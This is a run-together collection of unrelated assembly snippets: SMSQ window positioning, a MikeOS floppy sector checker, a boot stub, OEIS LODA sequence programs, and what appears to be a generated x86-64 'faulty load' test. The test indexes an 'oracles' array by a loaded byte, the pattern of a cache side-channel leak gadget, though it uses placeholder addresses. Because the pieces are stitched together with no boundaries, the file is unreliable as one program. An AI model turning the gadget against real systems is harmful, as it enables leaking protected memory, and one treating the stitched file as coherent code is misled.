given? bmi.s wws_spos ... no move.l d0,d1 * wws_spos move.l ww_xorg(a4),d5 get offset ***** bne.s wws_adjst ***** ***** here find current item position ***** wws_adjst moveq #0,d6 outline key bsr.s wm_wpos position window bne.s wws_exit * moveq #iow.spap,d0 ; set paper colour before border! move.w ww_wattr+wwa_papr(a4),d1 jsr wmc_trap3 * moveq #iow.defb,d0 set border move.w ww_wattr+wwa_borc(a4),d1 ... colour move.w ww_wattr+wwa_borw(a4),d2 ... and width jsr wmc_trap3 bra.s wws_set2 * wws_set moveq #iow.spap,d0 ; set paper colour move.w ww_wattr+wwa_papr(a4),d1 jsr wmc_trap3 wws_set2 tst.b ww_wattr+wwa_clfg(a4) ; clear window? bmi.s wws_sprite moveq #iow.clra,d0 trap #3 wws_sprite lea ww_splst(a4),a1 sprite list moveq #iop.swdf,d0 set as window definition trap #3 * wws_exit tst.l d0 movem.l (sp)+,reglist restore registers rts page * * set window position * wm_wpos moveq #0,d0 find x shadow size move.b wwa_shdd+ww_wattr(a4),d0 should be zero for pulldown!! moveq #ww.shadx,d2 .... but we're much more clever now mulu d0,d2 swap d2 mulu #ww.shady,d0 and y shadow move.w d0,d2 * moveq #0,d0 find border width move.w wwa_borw+ww_wattr(a4),d0 move.w d0,d4 add.w d4,d4 doubled swap d4 move.w d0,d4 border width: x,y * lea ww_xsize(a4),a1 set pointer to window definition block move.l (a1),d0 get window size add.l d4,d0 adjust size to include border add.l d4,d0 move.l d0,(a1) add.l d4,d5 adjust offset to include border * * d0 size, d1 pointer pos, d2 shadow, d4 border, d5 offset * move.l d4,-(sp) flimreg reg d0/d2/a1 movem.l flimreg,-(sp) * subq.l #8,a7 move.l a7,a1 space for limits moveq #0,d2 unused flag, for now moveq #-1,d3 moveq #iop.flim,d0 ; find permissible limits trap #3 movem.l (sp)+,d3/d4 get limits to registers add.l d4,d3 make into max/min add.l #$00030001,d4 ; round up minimum and.l #$fffcfffe,d4 tst.l d0 ; implemented? beq.s wwp_flmset move.l #$02000100,d3 ; screen max moveq #0,d4 ; screen min wwp_flmset movem.l (sp)+,flimreg * bsr.s wws_forg find actual x origin of window bsr.s wws_forg ... and y origin of window move.l (sp)+,d4 * and.l #$fffcfffe,d1 avoid problems with stipples move.l d1,ww_xorg-ww_xsize(a1) set window position * moveq #iop.outl,d0 set window outline move.l d2,d1 set shadow move.l d6,d2 set d2 parameter moveq #-1,d3 trap #3 tst.l d0 bne.s wwp_exit * moveq #iop.sptr,d0 set pointer position move.l d5,d1 moveq #1,d2 ... within hit area moveq #-1,d3 trap #3 moveq #0,d0 ignore sptr error * wwp_exit lea ww_xorg(a4),a1 reset pointer to window definition block add.l d4,(a1) adjust for border add.l d4,d4 sub.l d4,-(a1) tst.l d0 rts page * * find origin * call: d0 size, d1 pointer pos, d2 shadow, d3 max, d4 min, d5 offset * return: d1 window origin * wws_forg swap d0 swap d1 find ideal window origin swap d2 swap d3 swap d4 swap d5 sub.w d5,d1 by taking away window offset cmp.w d4,d1 less than minimum? ble.s wwf_orgz yes, set to minimum add.w d1,d0 find opposite edge, add dimension add.w d2,d0 ... and shadow sub.w d3,d0 take away maximum ble.s wwf_done ... done sub.w d0,d1 ... outside, move left/up wwf_done rts wwf_orgz move.w d4,d1 origin at left/top rts * console dc.w 15,'con_512x256a0x0' end
BITS 16 %INCLUDE "osdev.inc" ORG 100h disk_buffer equ 16384 start: call os_wait_for_key mov al, [0] mov [.drive], al mov ax, 0 .loop: call .sectorselect inc ax cmp ax, 2880 jl .loop mov ax, [.bad_sectors] call os_int_to_string mov si, ax call os_print_string mov si, .badmsg0 call os_print_string call os_wait_for_key ret .sectorselect: pusha mov si, .sectormsg call os_print_string call os_int_to_string mov si, ax call os_print_string popa pusha call os_disk_l2hts ; Entered number -> HTS mov bx, disk_buffer ; Read the sector mov ah, 2 mov al, 1 mov dl, [.drive] stc int 13h jc .error mov si, .pass_msg call os_print_string popa ret .error: mov si, .err_msg call os_print_string inc word [.bad_sectors] popa ret .drive db 0 .bad_sectors dw 0 .sectormsg db 'Sector ', 0 .pass_msg db ' - Passed', 13, 10, 0 .err_msg db ' - Failed', 13, 10, 0 .badmsg0 db ' bad sectors found.', 0 ; ------------------------------------------------------------------
global _start extern main section .start.text bits32 _start: jmp _entry ALIGN 8 _entry: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor edi, edi xor esi, esi xor ebp, ebp xor esp, esp ;初始化栈 mov esp, stack_top call main section .bss ; reserved memory for paging align 4096 p4_table: resb 4096 p3_table: resb 4096 p2_table: resb 4096 ; reserved memory for stack stack_bottom: resb 4096 * 4 stack_top:
; A153367: Number of zig-zag paths from top to bottom of a rectangle of width 9 with 2n-1 rows whose color is not that of the top right corner. ; 4,14,50,180,650,2350,8500,30750,111250,402500,1456250,5268750,19062500,68968750,249531250,902812500,3266406250,11817968750,42757812500,154699218750,559707031250,2025039062500,7326660156250,26508105468750 add $0,1 mov $1,2 mov $2,2 lpb $0 sub $0,1 sub $2,$1 mul $1,5 sub $2,1 add $1,$2 lpe sub $1,5 div $1,5 mul $1,2 add $1,4
.global s_prepare_buffers s_prepare_buffers: push %r12 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1dbf2, %r12 nop nop sub $36721, %rdx mov (%r12), %ebp nop nop nop nop nop add %r12, %r12 lea addresses_A_ht+0x13d44, %rsi lea addresses_WT_ht+0xfd44, %rdi nop nop and $32478, %rax mov $26, %rcx rep movsw nop nop inc %rbp lea addresses_WT_ht+0x1ae44, %rsi lea addresses_normal_ht+0xf710, %rdi nop nop nop nop nop xor $36427, %rdx mov $55, %rcx rep movsq nop nop nop nop sub %rdi, %rdi lea addresses_UC_ht+0x13d44, %r12 clflush (%r12) nop nop nop nop and %rdx, %rdx mov $0x6162636465666768, %rsi movq %rsi, %xmm6 vmovups %ymm6, (%r12) nop nop nop inc %rbp lea addresses_normal_ht+0x4d0c, %rsi lea addresses_WT_ht+0xaf44, %rdi clflush (%rdi) nop xor $59898, %rbx mov $57, %rcx rep movsb nop nop and $61752, %rbx lea addresses_UC_ht+0x14076, %r12 inc %rbp mov (%r12), %si nop nop nop nop dec %rbx lea addresses_normal_ht+0xf9c4, %rax nop dec %rdx mov (%rax), %rdi nop cmp %rdx, %rdx lea addresses_normal_ht+0x1c180, %rsi nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %rdx movq %rdx, (%rsi) nop nop nop nop dec %rsi lea addresses_A_ht+0xbcc4, %r12 clflush (%r12) nop nop nop nop nop add %rdi, %rdi movw $0x6162, (%r12) nop nop nop nop xor $1117, %rcx lea addresses_WC_ht+0x15024, %rsi lea addresses_UC_ht+0x6034, %rdi and %rdx, %rdx mov $13, %rcx rep movsl xor %rax, %rax lea addresses_normal_ht+0x1e844, %rax nop nop nop add $63768, %rdx movl $0x61626364, (%rax) nop nop xor %rbx, %rbx lea addresses_UC_ht+0x3fee, %rbp nop nop sub %rsi, %rsi movups (%rbp), %xmm2 vpextrq $1, %xmm2, %rax nop nop cmp $24198, %r12 lea addresses_D_ht+0x3ebc, %r12 nop nop sub %rbp, %rbp mov (%r12), %ax nop nop nop add $28931, %rdx lea addresses_WC_ht+0x126b, %rsi xor %rdi, %rdi movb $0x61, (%rsi) nop nop nop nop cmp $59056, %rdx lea addresses_UC_ht+0x1bd44, %rsi lea addresses_normal_ht+0x16444, %rdi nop cmp %rbx, %rbx mov $100, %rcx rep movsl inc %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rbx push %rcx push %rdx // Faulty Load lea addresses_WT+0x1fd44, %r10 add %r13, %r13 movups (%r10), %xmm3 vpextrq $0, %xmm3, %rdx lea oracles, %r14 and $0xff, %rdx shlq $12, %rdx mov (%r14,%rdx,1), %rdx pop %rdx pop %rcx pop %rbx pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
; A162770: a(n) = ((2+sqrt(5))*(1+sqrt(5))^n + (2-sqrt(5))*(1-sqrt(5))^n)/2. ; Submitted by Jon Maiga ; 2,7,22,72,232,752,2432,7872,25472,82432,266752,863232,2793472,9039872,29253632,94666752,306348032,991363072,3208118272,10381688832,33595850752,108718456832,351820316672,1138514460672,3684310188032,11922678218752,38582597189632,124855907254272,404042203267072,1307508035551232,4231184884170752,13692401910546432,44309543357775872,143388694357737472,464015562146578432,1501585901724106752,4859234052034527232,15724811710965481472,50886559630069071872,164672366104000069632,532890970728276426752 lpb $0 sub $0,1 mul $2,2 mov $3,$2 mul $4,2 add $4,1 mov $2,$4 add $4,$3 lpe add $2,$4 mov $0,$2 div $0,2 mul $0,5 add $0,2